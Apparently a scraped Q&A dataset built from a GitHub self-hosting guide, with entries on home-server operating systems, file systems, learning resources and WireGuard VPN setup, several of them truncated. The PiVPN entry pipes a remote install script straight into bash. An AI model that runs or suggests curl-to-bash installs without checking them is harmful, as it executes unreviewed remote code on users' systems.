{"id": "gh_49233cb5e62e", "question": "How to: Operating Systems", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n**Creating a bootable media device(USB/MicroSD card)**\n\n[Rufus](https://rufus.ie/) is a utility that helps format and create bootable USB flash drives.\nRufus\n**OR**\n\n[Etcher](https://www.balena.io/etcher/) is an open source, cross-platform software that makes it easy to flash operating system images to a microSD card or USB device.\nEtcher UI\n**A List of Operating Systems that are great for either settig up a personal Home Server or a Enterprise Server for your Organization/Company.**\n\n[Home Assistant OS](https://home-assistant.io/hassio/) is a container-based system for managing your Home Assistant Core installation and related applications. The system is controlled via Home Assistant which communicates with the Supervisor. The Supervisor provides an API to manage the installation. This includes changing network settings or installing and updating software.\nHome Assistant OS\n[Umbrel](https://umbrel.com/) is an OS for running a personal server in your home. It can Self-host open source apps like Nextcloud, Bitcoin node, and more.\nUmbrel\n[CasaOS](https://casaos.io/) is a simple, easy-to-use, elegant open-source Home Cloud system.\nCasaOS\n[TrueNAS® CORE](https://www.truenas.com/truenas-core/) is the world's most popular storage OS because it gives you the power to build your own professional-grade storage system to use in a variety of data-intensive applications without any software costs. It's based on FreeBSD and Linux, using the OpenZFS file system.\nTrueNAS CORE\n[Alpine Linux](https://www.alpinelinux.org/) is a security-oriented, lightweight Linux distribution based on musl libc and busybox.\n\n * [Alpine Linux Wiki](https://wiki.alpinelinux.org/wiki/Main_Page)\n\n * [Alpine Linux Community](https://alpinelinux.org/community)\n\n#### Xfce4 Desktop\n\n**Enable the [Community repository](https://wiki.alpinelinux.org/wiki/Enable_Community_Repository), then execute command:**\n\n``apk add xfce4``\nAlpine Linux Xfce\n#### Mate Desktop\n\n**Enable the [Community repository](https://wiki.alpinelinux.org/wiki/Enable_Community_Repository), then execute command:**\n\n``apk add mate-desktop-environment``\nAlpine Linux MATE\n[Ubuntu](https://ubuntu.com/) is a modern open source operating system on Linux for the enterprise Server, Desktop, Cloud, and IoT developed by Canonical. \n\n * [Ubuntu Server](https://ubuntu.com/download/server)\n \n * [Ubuntu for ARM](https://ubuntu.com/download/server/arm)\n \n * [Ubuntu for Raspberry Pi](https://ubuntu.com/raspberry-pi)\n\n * [Ubuntu Flavours](https://www.ubuntu.com/download/flavours) is for those that prefer an alternative desktop environment such as [KDE Plasma Desktop](https://kubuntu.org/), [MATE](https://ubuntu-mate.org/), [Xfce](https://xubuntu.org/), [LXQt](https://lubuntu.me/), [Budgie](https://ubuntubudgie.org/), and [UKUI](https://www.ubuntukylin.com/) you can download a Flavour for your preferred desktop environment and use that to install Ubuntu, pre-configured for the desktop environment of your choice.\nUbuntu\n[Debian](https://www.debian.org/) is an operating system and a distribution of Free Software. It is maintained and updated through the work of many users who volunteer their time and effort.\nDebian 11\n[Linux Mint](https://linuxmint.com/) is a modern, elegant, and comfortable open source operating system(based on Debian and Ubuntu), which is both powerful and easy to use for both new and advanced users. The flagsip version of Linux Min", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318553"}
{"id": "gh_31f5d92428ee", "question": "How to: The BSD Desktop for the average user", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[GhostBSD](https://www.ghostbsd.org/) is a simple desktop-oriented operating system based on FreeBSD with MATE, OpenRC and OS packages for simplicity. GhostBSD has a selection of commonly used software preinstalled and required to start using it to its full potential.\n\n * [GhostBSD Wiki](https://wiki.ghostbsd.org/index.php/Main_Page)\n\n * [GhostBSD Community](https://forums.ghostbsd.org/index.php)\n**GhostBSD Desktop. Source: [GhostBSD](https://www.ghostbsd.org/)**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318562"}
{"id": "gh_c05ed19277c2", "question": "How to: File systems", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n* [FSArchiver](https://www.fsarchiver.org/) is a system tool that allows you to save the contents of a file system to a compressed archive file. The file system can be restored on a partition which has a different size and it can be restored on a different file system. \n\n[WekaFS](https://www.weka.io/resources/datasheet/wekafs-the-weka-file-system/) is the world's fastest shared parallel file system and delivers unmatched performance at ANY scale while offering the same enterprise features and benefits of traditional storage. It meets all storage challenges, delivering 10x the performance of legacy network attached storage (NAS) systems and 3x the performance of local server storage.\n\n[GlusterFS](https://www.gluster.org/) is a free and open source scalable network filesystem. Gluster is a scalable network filesystem. Using common off-the-shelf hardware, you can create large, distributed storage solutions for media streaming, data analysis, and other data- and bandwidth-intensive tasks.\n\n[Ceph](https://ceph.io/) is a software-defined storage solution designed to address the object, block, and file storage needs of data centers adopting open source as the new norm for high-growth block storage, object stores and data lakes. Ceph provides enterprise scalable storage while keeping [CAPEX](https://corporatefinanceinstitute.com/resources/knowledge/modeling/how-to-calculate-capex-formula/) and [OPEX](https://www.investopedia.com/terms/o/operating_expense.asp) costs in line with underlying bulk commodity disk prices.\n\n[Hadoop Distributed File System (HDFS)](https://www.ibm.com/analytics/hadoop/hdfs) is a distributed file system that handles large data sets running on commodity hardware. It is used to scale a single Apache Hadoop cluster to hundreds (and even thousands) of nodes. HDFS is one of the major components of Apache Hadoop, the others being [MapReduce](https://www.ibm.com/analytics/hadoop/mapreduce) and [YARN](https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html).\n\n[ZFS](https://docs.oracle.com/cd/E19253-01/819-5461/zfsover-2/) is an enterprise-ready open source file system and volume manager with unprecedented flexibility and an uncompromising commitment to data integrity.\n\n  * [ZFSBootMenu](https://zfsbootmenu.org/) is a Linux bootloader that attempts to provide an experience similar to the FreeBSD bootloader. It takes advantage of ZFS features, it allows a user to have multiple “boot environments” (with different distros, for example), manipulate snapshots before booting, and even bootstrap a system installation via ```zfs recv```.\n\n[OpenZFS](https://openzfs.org/wiki/Main_Page ) is an open-source storage platform. It includes the functionality of both traditional file systems and volume manager. It has many advanced features including:\n\n  - Protection against data corruption.\n  - Integrity checking for both data and metadata.\n  - Continuous integrity verification and automatic \"self-healing\" repair.\n\n[Btrfs](https://btrfs.wiki.kernel.org/index.php/Main_Page) is a modern copy on write (CoW) filesystem for Linux aimed at implementing advanced features while also focusing on fault tolerance, repair and easy administration. Its main features and benefits are:\n\n  - Snapshots which do not make the full copy of files\n  - RAID - support for software-based RAID 0, RAID 1, RAID 10\n  - Self-healing - checksums for data and metadata, automatic detection of silent data corruptions\n  \n[Composefs](https://github.com/containers/composefs) is a native Linux file system designed to help sharing filesystem contents, as well as ensuring said content is not modified. The initial target usecase are container images and ostree commits.\n  \n[MergerFS](https://github.com/trapexit/mergerfs) is a union filesystem geared towards simplifying storage and management of files across numerous commodity storage devices. It is similar to mhddfs, unionfs, and aufs.\n\n**MergerFS Features**\n\n  - Configurable behaviors / file placement\n  - Ability to add or remove filesystems at will\n  - Resistance to individual filesystem failure\n  - Support for extended attributes (xattrs)\n  - Support for file attributes (chattr)\n  - Runtime configurable (via xattrs)\n  - Works with heterogeneous filesystem types\n  - Moving of file when filesystem runs out of space while writing\n  - Ignore read-only filesystems when creating files\n  - Turn read-only files into symlinks to underlying file\n  - Hard link copy-on-write / CoW\n  - Support for POSIX ACLs\n  \n[Proxmox Cluster File System (PMXCFS)](https://pve.proxmox.com/wiki/Cluster_Manager) is a File System used to transparently distribute the cluster configuration to all cluster nodes.\n\n[UnionFS](https://unionfs.filesystems.org/) is a filesystem service for Linux, FreeBSD and NetBSD which implements a union mount for other file systems. It allows files and directories of separate file systems, known as branc", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318581"}
{"id": "gh_99fd6a45dc86", "question": "How to: YouTube Channels", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n  - [Jeff Geerling](https://www.youtube.com/c/JeffGeerling)\n  \n  - [Level1Techs](https://www.youtube.com/c/Level1Techs)\n \n  - [Open Source is Awesome](https://www.youtube.com/c/AwesomeOpenSource)\n  \n  - [Self-Hosted Show by Jupiter Broadcasting](https://www.youtube.com/watch?v=XBhhVHVQ148&list=PLUW3LUwQvegxit4XMxUNW3qrRFmgP_aaT)\n \n  - [Techno Tim](https://www.youtube.com/c/TechnoTimLive)\n \n  - [Raid Owl](https://www.youtube.com/c/RaidOwl)\n  \n  - [NextCloud](https://www.youtube.com/c/Nextcloud)\n  \n  - [Raspberry Pi](https://www.youtube.com/c/raspberrypi)\n  \n  - [Wolfgang's Channel](https://www.youtube.com/c/WolfgangsChannel)\n  \n  - [Pro Tech Show](https://www.youtube.com/c/ProTechShow)\n  \n  - [Geeked](https://www.youtube.com/c/GeekedTV)\n  \n  - [The Tinker Dad](https://www.youtube.com/c/TheTinkerDad)\n  \n  - [DB Tech](https://www.youtube.com/c/DBTechYT)\n  \n  - [The Digital Life](https://www.youtube.com/c/TheDigitalLifeTech)\n \n  - [censiCLICK](https://www.youtube.com/c/censiCLICK)\n  \n  - [Home Network Geek](https://www.youtube.com/channel/UCCniXOLmZ85FHN8c8K_c0LA/featured)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318590"}
{"id": "gh_7037fe854bdc", "question": "How to: Tutorials & Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n  - [Awesome-SelfHosted](https://github.com/awesome-selfhosted/awesome-selfhosted) is a directory of free software solutions and web applications which can be hosted locally.\n  \n  - [Awesome Sysadmin](https://github.com/awesome-foss/awesome-sysadmin) is a curated list of amazingly awesome open source sysadmin resources.\n  \n  - [Personal Security Checklist](https://github.com/Lissy93/personal-security-checklist) is a curated checklist of 300+ tips for protecting digital security and privacy in 2022.\n\n  - [Awesome Privacy](https://github.com/Lissy93/awesome-privacy) is acurated list of privacy & security-focused software and services. \n \n  - [Perfect Media Server](https://perfectmediaserver.com/) is a project aim is to share knowledge and information about building an open-source media server. It was created by [Alex Kretzschmar AKA ironicbadger](https://github.com/ironicbadger).\n  \n  - [/r/Selfhosted Official Wiki](https://wiki.r-selfhosted.com/getting-started/how-to-self-host/)\n  \n  - [45Drives Knowledge Base](https://knowledgebase.45drives.com/) is an affordable enterprise storage solutions for any data size - large or small. It provides high-performance, high-capacity storage servers and data destruction solutions for all industries.\n\n  - [Self-hosting by any tech docs](https://tech.anytype.io/how-to/self-hosting)\n  \n  - [Noted - Self Hosted App and Product Reviews](https://noted.lol/)\n\n  - [How I fell into the self-hosting rabbit hole in 2021](https://www.windowscentral.com/self-hosting-2021)\n  \n  - [The (hardware) key to making phishing defense seamless with Cloudflare Zero Trust and Yubico](https://blog.cloudflare.com/making-phishing-defense-seamless-cloudflare-yubico/)\n  \n  - [Shelly 2.5: Flash ESPHome Over The Air](https://savjee.be/blog/shelly-2.5-flash-esphome-over-the-air/)\n  \n  - [HDMI Distribution over your Home Network? Low-Cost HDMI Matrix using IP-Based Hardware](https://www.apalrd.net/posts/2022/hdmi_ip/)\n  \n  - [Microsecond accurate NTP with a Raspberry Pi and PPS GPS](https://austinsnerdythings.com/2021/04/19/microsecond-accurate-ntp-with-a-raspberry-pi-and-pps-gps/)\n\n  - [Deploy Your Self-Hosted Mattermost Server](https://mattermost.com/deploy/)\n  \n  - [Monitor your Internet with a Raspberry Pi by Jeff Geerling](https://www.jeffgeerling.com/blog/2021/monitor-your-internet-raspberry-pi)\n\n  -[Storage Reference Guide by Storage Review](https://www.storagereview.com/storage-reference-guide)\n  \n  - [NextCloud Migration Guide](https://nextcloud.com/migration/)\n  \n  - [GitLab self-managed subscription](https://docs.gitlab.com/ee/subscriptions/self_managed/)\n  \n  - [Proxmox VE Training Courses](https://www.proxmox.com/en/training)\n  \n  - [Self-Hosted GitLab with CodeFlow](https://www.getcodeflow.com/self-hosted-gitlab.html)\n  \n  - [Self-host Appsmith in Just a Few Minutes on Digital Ocean AppSmith](https://www.appsmith.com/blog/self-host-appsmith-in-just-a-few-minutes-on-digital-ocean)\n  \n  - [Linode Guides & Tutorials](https://www.linode.com/docs/guides/)\n  \n  - [Linode Beginner's Guide](https://www.linode.com/docs/guides/linode-beginners-guide/)\n  \n  - [Access a Pi-hole or Raspberry Pi from anywhere | Tailscale](https://tailscale.com/kb/1114/pi-hole/)\n  \n  - [Tailscale on Kubernetes | Tailscale](https://tailscale.com/kb/1185/kubernetes/)\n  \n  - [Tailscale on Proxmox host | Tailscale](https://tailscale.com/kb/1133/proxmox/)\n  \n  - [Configuring Linux DNS | Tailscale](https://tailscale.com/kb/1188/linux-dns/)\n  \n  - [Run a private Minecraft server with Tailscale | Tailscale](https://tailscale.com/kb/1137/minecraft/)\n  \n  - [Set up a dogcam with Tailscale, Raspberry Pi, and Motion | Tailscale](https://tailscale.com/kb/1076/dogcam/)\n  \n  - [Defined Networking is Open for Business by Ryan Huber](https://www.defined.net/blog/open-for-business/)\n  \n  - [Automating Host Creation with the API](https://docs.defined.net/guides/automating-host-creation/)\n  \n  - [Azure Self-hosted gateway overview](https://docs.microsoft.com/en-us/azure/api-management/self-hosted-gateway-overview)\n  \n  - [Create and configure a self-hosted integration runtime for Azure Data Factory and Synapse pipelines](https://docs.microsoft.com/en-us/azure/data-factory/create-self-hosted-integration-runtime?tabs=data-factory)\n\n  - [Run a self-hosted agent in Docker - Azure Pipelines | Microsoft Docs](https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/docker)\n\n  - [Azure DevOps Self Hosted](https://github.com/Azure/DevOps-Self-Hosted)\n  \n ### Subreddits\n [Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n  \n  - [r/Selfhosted](https://www.reddit.com/r/selfhosted/)\n  - [r/Webhosting](https://www.reddit.com/r/webhosting/)\n  - [r/NextCloud](https://www.reddit.com/r/NextCloud/)\n  - [r/HomeServer](https://www.reddit.com/r/HomeServer/)\n  - [r/Homeassistant](https://www.reddit.com/r/homeassistant/)\n  - [r/Homebridge](", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318610"}
{"id": "gh_6f92f89d9786", "question": "How to: What is WireGuard?", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[WireGuard®](https://www.wireguard.com/) is a straight-forward, fast and modern VPN that utilizes state-of-the-art cryptography. It aims to be faster, simpler, leaner, and more useful than IPsec while avoiding the massive headache. WireGuard is designed as a general-purpose VPN for running on embedded interfaces and super computers alike, fit for many circumstances. Initially released for the Linux kernel, it is now cross-platform (Windows, macOS, BSD, iOS, Android) and widely deployable.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318618"}
{"id": "gh_7fd19597cb79", "question": "How to: What is Tailscale?", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Tailscale](https://github.com/tailscale) is a WireGuard-based app that makes secure, private networks easy for teams of any scale. It works like an [overlay network](https://tailscale.com/blog/how-tailscale-works/) between the computers of your networks using all kinds of [NAT traversal sorcery](https://tailscale.com/blog/how-nat-traversal-works/).\n\n * [Tailscale Terraform Provider](https://github.com/tailscale/terraform-provider-tailscale)\n * [Tailscale Docker extension](https://github.com/tailscale/docker-extension)\n * [Tailscale Synology](https://github.com/tailscale/tailscale-synology)\nHow NAT Traversal works on a Home router. Credit: [Tailscale](https://tailscale.com/blog/how-nat-traversal-works/).\n\n[Headscale](https://github.com/juanfont/headscale) is an open source, self-hosted implementation of the Tailscale coordination server.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318624"}
{"id": "gh_6b1a95f69c8d", "question": "How to: What is Netmaker?", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Netmaker](https://www.netmaker.org/) is a tool that enables you to create relays, gateways, full VPN meshes, and even zero trust networks. It's fully configurable to let you maximize the power of Wireguard.\nNetMaker Architecture. Credit: [Netmaker](https://netmaker.readthedocs.io/en/v0.7.2/index.html).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318629"}
{"id": "gh_2ab2b0d9f14b", "question": "How to: WireGuard Tools", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Wiretrustee](https://wiretrustee.com/) is a WireGuard®-based mesh network that connects your devices into a single private network.\n\n[Wireguard Manager](https://github.com/complexorganizations/wireguard-manager) is a tool that enables you to build your own vpn under a minute.\n\n[Tailscale](https://github.com/tailscale) is a WireGuard-based app that makes secure, private networks easy for teams of any scale. It works like an [overlay network](https://tailscale.com/blog/how-tailscale-works/) between the computers of your networks using all kinds of [NAT traversal sorcery](https://tailscale.com/blog/how-nat-traversal-works/).\n\n[Headscale](https://github.com/juanfont/headscale) is an open source, self-hosted implementation of the Tailscale coordination server.\n\n[Firezone](https://firezone.dev/) is a self-hosted WireGuard®-based VPN server and Linux firewall.\n\n[NetBird](https://netbird.io/) is an open-source VPN management platform built on top of WireGuard® making it easy to create secure private networks for your organization or home.\n\n[Mistborn](https://gitlab.com/cyber5k/mistborn) is a secure platform for easily standing up and managing your own cloud services: including firewall, ad-blocking, and multi-factor WireGuard VPN access.\n\n[Mistborn CLI](https://gitlab.com/cyber5k/mistborn-cli) is a Command-line interface for [Mistborn](https://gitlab.com/cyber5k/mistborn).\n\n[BoringTun](https://github.com/cloudflare/boringtun) is an implementation of the WireGuard® protocol designed for portability and speed. It's successfully deployed on millions of [iOS](https://apps.apple.com/us/app/1-1-1-1-faster-internet/id1423538627) and [Android](https://play.google.com/store/apps/details?id=com.cloudflare.onedotonedotonedotone&hl=en_US) consumer devices as well as thousands of Cloudflare Linux servers.\n\n[PiVPN](https://pivpn.io/) is the simplest VPN installer, designed for [Raspberry Pi](https://www.raspberrypi.com).\n\n[Algo VPN](https://github.com/trailofbits/algo) is a set of Ansible scripts that simplify the setup of a personal WireGuard and IPsec VPN. It uses the most secure defaults available and works with common cloud providers.\n\n[Pro Custodibus](https://www.procustodibus.com/features/) is a tool for managing WireGuard with a variety of business VPN (Virtual Private Network) use cases, such as site-to-site connectivity, secure remote access from anywhere, secure access to the cloud (Amazon Web Services, Google Cloud Platform, Microsoft Azure, etc), and more.\n\n[Drago](https://seashell.github.io/drago) is a flexible configuration manager for WireGuard designed to make it simple to configure secure network overlays spanning heterogeneous nodes distributed across different clouds and physical locations. Drago is in active development, and we welcome contributions from the open-source community.\n\n[Netmaker](https://netmaker.org/) is a tool that helps connect any computers together over a secure, fast, private network, and manage multiple networks from a central server.\n\n[Kilo](https://github.com/squat/kilo) is a multi-cloud network overlay built on WireGuard and designed for Kubernetes. Kilo connects nodes in a cluster by providing an encrypted layer 3 network that can span across data centers and public clouds. The Pod network created by Kilo is always fully connected, even when the nodes are in different networks or behind NAT. By allowing pools of nodes in different locations to communicate securely, Kilo enables the operation of multi-cloud clusters. Kilo's design allows clients to VPN to a cluster in order to securely access services running on the cluster.\n\n[Subspace](https://github.com/subspacecloud/subspace) is a simple WireGuard VPN server GUI.\n\n[WG UI](https://github.com/EmbarkStudios/wg-ui) is a basic, self-contained management service for WireGuard with a self-serve web UI.\n\n[WireHole](https://github.com/IAmStoxe/wirehole) is a combination of WireGuard, PiHole, and Unbound in a docker-compose project with the intent of enabling users to quickly and easily create and deploy a personally managed full or split-tunnel WireGuard VPN with ad blocking capabilities (via Pihole), and DNS caching with additional privacy options (via Unbound).\n\n[Gluetun](https://github.com/qdm12/gluetun) is a lightwieght VPN client in a thin Docker container for multiple VPN providers, written in Go, and uses OpenVPN or Wireguard, DNS over TLS, with a few proxy servers built-in.\n\n[Ethr](https://github.com/microsoft/ethr) is a cross platform network performance measurement tool written in golang. The goal of this project is to provide a native tool for comprehensive network performance measurements of bandwidth, connections/s, packets/s, latency, loss & jitter, across multiple protocols such as TCP, UDP, HTTP, HTTPS, and across multiple platforms such as Windows, Linux and other Unix systems.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318642"}
{"id": "gh_d98b9fd139f3", "question": "How to: Setting up WireGuard with PiVPN", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n**Installing PiVPN:**\n\n```sudo apt install curl -y```\n\n```curl -L https://install.pivpn.io | bash```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318649"}
{"id": "gh_11ed028e32e1", "question": "How to: Setting up WireGuard on Unraid", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\nSelect Apps, then search for WireGuard and install **Wireguard-Easy**.\nVPN manager\nAlmost all of the settings can stay as default, however, there are a few that we will modify.\n\n   * Set the WG_HOST variable to be the IP address of your Unraid server.\n   * If you’d like to modify the WireGuard port (51820), you can do that here.\n   * Change the default Web GUI password.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318658"}
{"id": "gh_98bda4949eb7", "question": "How to: Setting up WireGuard on pfSense", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\nWhen looking at how to set up WireGuard on pfSense, the first thing that we need to do is install the package. Follow the instructions below to install the WireGuard package on pfSense.\n* Open the Package Manager and search for WireGuard, then Install the latest version of the package.\n* After the package has installed, select VPN then WireGuard and under the Tunnels section, select Add Tunnel. \n\n* In the Tunnel Configuration, set the Description as WireGuard, the Listen Port as 51820, then Generate private and public keys.\n\n* Copy the Public Key. We will need this for our client configuration.\n\n* Create the tunnel, then select Settings, and ensure that Enable WireGuard is selected. Then Save and Apply.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318666"}
{"id": "gh_45897fb32c9f", "question": "How to: Setting up WireGuard on OpenWRT", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n**Quick Links:**\n\n * [WireGuard route all traffic through wireguard tunnel](https://openwrt.org/docs/guide-user/services/vpn/wireguard/all-traffic-through-wireguard)\n * [Automated WireGuard Server and Multi-client](https://openwrt.org/docs/guide-user/services/vpn/wireguard/automated)\n * [WireGuard basics](https://openwrt.org/docs/guide-user/services/vpn/wireguard/basics)\n * [WireGuard client](https://openwrt.org/docs/guide-user/services/vpn/wireguard/client)\n * [WireGuard extras](https://openwrt.org/docs/guide-user/services/vpn/wireguard/extras)\n * [WireGuard performance](https://openwrt.org/docs/guide-user/services/vpn/wireguard/performance)\n * [WireGuard Road-Warrior Configuration](https://openwrt.org/docs/guide-user/services/vpn/wireguard/road-warrior)\n * [WireGuard](https://openwrt.org/docs/guide-user/services/vpn/wireguard/start)\n * [WireGuard server](https://openwrt.org/docs/guide-user/services/vpn/wireguard/server)\n * [WireGuard peers](https://openwrt.org/docs/guide-user/services/vpn/wireguard/serverclient)\n * [Automated WireGuard site-to-site VPN configuration](https://openwrt.org/docs/guide-user/services/vpn/wireguard/site-to-site)\n \n\nIn your router’s webUI, navigate to System - Software, click Update lists:\n\nIn the Filter field, type WireGuard, locate and install the **wireguard, wireguard-tools, kmod-wireguard, and luci-app-wireguard packages.** **Note: The wireguard package is included in version 22.02.**\n**Generate WireGuard keypair**\n\n SSH into your router as ‘root’ ([OpenWrt Wiki](https://openwrt.org/docs/guide-quick-start/sshadministration)):\n\n   ```ssh root@192.168.1.1```\n\n Generate WireGuard keys:\n\n  ```wg genkey | tee privatekey | wg pubkey > publickey```\n     \n  ```chmod 600 privatekey```\n\n  Note your Private & Public keys, you will need them later:\n\n  ```cat privatekey```\n    \n  ``` cat publickey```\n\n**Creating an Interface**\n\n Navigate to Network - Interface,\n\n Click the Add new interface... button and enter the following configuration:\n   * Name - give it any name\n   * Protocol - WireGuard VPN\n\n Create interface\n\n In the General Settings tab:\n   * Bring up on boot - Checked\n   * Private Key - copy and paste the generated previously Private key\n   * IP Address - enter the WireGuard IP Address obtained in the Client Area ending with /32, e.g. 172.27.124.169/32\n        \n        \n**Add a Firewall zone**\n\n Navigate to Network - Firewall\n\n Click the Add button and enter the following configuration:\n   * Name - Give it any name\n   *  Input - Reject\n   *  Output - Accept\n   *  Forward - Reject\n   *  Masquerading - Checked\n   *  MSS clamping - Checked\n   *  Covered networks - select the previously created VPN tunnel interface\n   *  Allow forward to destination zones - Unspecified\n   *  Allow forward from source zones - lan\n**DNS**\n\n Navigate to Network - Interfaces\n\n Click on the Edit button next to the WAN interface\n\n  In the Advanced Settings tab, uncheck the Use DNS servers advertised by peer and specify one of the following DNS servers in the Use custom DNS servers field:\n  \n  * 172.16.0.1 = regular DNS with no blocking\n  * 10.0.254.2 = standard AntiTracker to block advertising and malware domains\n  * 10.0.254.3 = Hardcore Mode AntiTracker to also block Google and Facebook domains\nClick the Save button.\n\n**Last Steps**\n\n  * A device reboot is not required, though it may be useful to confirm that everything behaves as expected.\n  * Run a leak test at [https://www.dnsleaktest.com](https://www.dnsleaktest.com/) via one of the internal network clients attached to your OpenWRT router.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318682"}
{"id": "gh_ed1a8ea87bba", "question": "How to: Setting up WireGuard on Home Assistant", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n**Install Wireguard Add-on in Home Assistant**\n\n * Next, open up Home Assistant. Go to Supervisor > Add-on store, and search for WireGuard.\n \n * Click the WireGuard addon, and the click Install.\n**Configure Wireguard Settings**\n\nAfter installing WireGuard, do not start it yet. We need to configure a few options first.\n\n * Click the Configuration tab at the very top.\n\n * There are **two blocks of code here: server and peers.** The server section is the WireGuard server info, and the peers section is where you’d add new devices that will connect to your VPN.\n \n **Server Configuration**\n\n   * **Host:** add the subdomain you just created. (vpn.mydomain.com)\n   * **Addresses:** If your internal network is using the 192.168.x.x or 10.x.x.x range, you can leave the default IP addresses WireGuard has provided. (see note above)\n   * **DNS:** Set to your router’s internal IP address (**Open CMD > ipconfig /all > Under DNS servers**)\n        If you have Adguard or PiHole installed, you can use the IP address of those instead. This will allow you to block ads even when connected to the WireGuard VPN.\n\n**Peers Configuration**\n\nThis is where you’ll create WireGuard configuration files for each of the devices you want to connect to WireGuard with. For this example, I’m using my phone and leaving ```allowed_ips``` and ```client_allowed_ips``` as is. If you adding multiple devices, then you’ll need to copy the entire block of code starting at name, give it a different name, and add the next available IP address (For example: 172.27.66.4)\n\nClick **Save** once finished.\n\nThen, go back to the Info tab and click **Start**.\n**Port Forward**\n\nThe next step is to forward port 51820 from your Home Assistant server through your router. Unfortunately, there are so many different types of routers, each with different steps to port forward. The important thing to note is that you’ll be **port forwarding 51820(wireguard port)** from the internal IP of your Home Assistant instance (for example: 192.168.68.24) and choosing the **UDP protocol only**.\n \n **Download Wireguard app on mobile device**\n\nDownload the WireGuard app from the [Apple App Store](https://apps.apple.com/us/app/wireguard/id1441195209) or [Google Play Store](https://play.google.com/store/apps/details?id=com.wireguard.android&hl=en_US&gl=US). You will need it for the next step.\n\nIf all goes well, you can click into the new tunnel connection from within the app. If you see data flowing under the Transfer section, that means you are good to go.\n\n**Improving Security**\n\nOnce you have everything setup and working correctly, you should read through the [WireGuard Addon docs](https://github.com/hassio-addons/addon-wireguard/blob/main/wireguard/DOCS.md) to setup up ```allowed_ips``` and ```client_allowed_ips``` to further secure your VPN instance. There’s also some other helpful options you can configure such as log level, but these are all 